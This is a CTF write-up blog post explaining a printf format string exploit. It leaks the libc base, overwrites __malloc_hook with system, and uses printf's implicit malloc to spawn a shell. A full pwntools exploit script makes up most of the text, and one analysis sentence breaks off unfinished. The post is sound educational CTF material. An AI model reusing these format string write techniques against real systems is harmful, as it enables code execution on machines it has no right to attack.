Introduction
In this post, I want to give an example on how implicit malloc in printf can be applied to CTF challenges.
Vulnerability Analysis
There exists a very obvious string format vulnerability in this challenge. The attacker can input a string of size
Exploitation Plan
There are two printf functions in this challenge. Use the first one to leak the base address of libc and use the second one to pwn the shell.
Since the binary is compiled with FULL_RELRO in this challenge, we overwrite the _malloc_hook and trigger implicit malloc in printf to pwn the shell.
Exploit
from pwn import * import time DEBUG = int(sys.argv[1]); if(DEBUG == 0): r = remote("1.2.3.4", 23333); elif(DEBUG == 1): r = process("./ep"); elif(DEBUG == 2): r = process("./ep"); gdb.attach(r, '''source ./script'''); def calculateOffset(target, currentLength): while(currentLength >= target): target = target + 0x100; requestedOffset = target - currentLength; return requestedOffset def exploit(): libc = ELF("./libc.so.6"); r.recvuntil("you wanna read:"); r.sendline(str(0x8049fc4)); r.recvline(); leak = r.recvline(); leakedValue = int(leak, 16); log.info("leaked value: 0x%x" % leakedValue); libcBase = leakedValue - libc.symbols['read']; log.info("libc base address: 0x%x" % libcBase); sleep(1); mallocHookAddr = libcBase + 0x1a9408; writableAddr = 0x804A04C; value1 = libcBase + libc.symbols['system'] ; value2 = u32( 'sh'.ljust(4, '\x00')); log.info("value1 : 0x%x", value1); log.info("value2 : 0x%x", value2); payload = p32(mallocHookAddr); payload += p32(mallocHookAddr + 1); payload += p32(mallocHookAddr + 3); payload += p32(writableAddr); payload += p32(writableAddr + 1); payload += p32(writableAddr + 2); payload += p32(writableAddr + 3); curLength = len(payload); value = value1 & 0xff; offset = calculateOffset(value, curLength); curLength = curLength + offset; payload += "%" + str(offset) + "c" + "%7$hhn" value = (value1>>8) & 0xffff; offset = calculateOffset(value, curLength); curLength = curLength + offset; payload += "%" + str(offset) + "c" + "%8$hn" value = (value1>>24) & 0xff; offset = calculateOffset(value, curLength); curLength = curLength + offset; payload += "%" + str(offset) + "c" + "%9$hhn" value = value2 & 0xff; offset = calculateOffset(value, curLength); curLength = curLength + offset; payload += "%" + str(offset) + "c" + "%10$hhn"; value = (value2>>8) & 0xff; offset = calculateOffset(value, curLength); curLength = curLength + offset; payload += "%" + str(offset) + "c" + "%11$hhn"; value = (value2>>16) & 0xff; offset = calculateOffset(value, curLength); curLength = curLength + offset; payload += "%" + str(offset) + "c" + "%12$hhn"; value = (value2>>24) & 0xff; offset = calculateOffset(value, curLength); curLength = curLength + offset; payload += "%" + str(offset) + "c" + "%13$hhn"; payload += "%" + str(writableAddr-32) +"s"; r.sendline(payload); r.interactive(); exploit();
Reference
[1] http://blog.dragonsector.pl/2017/03/0ctf-2017-easiestprintf-pwn-150.html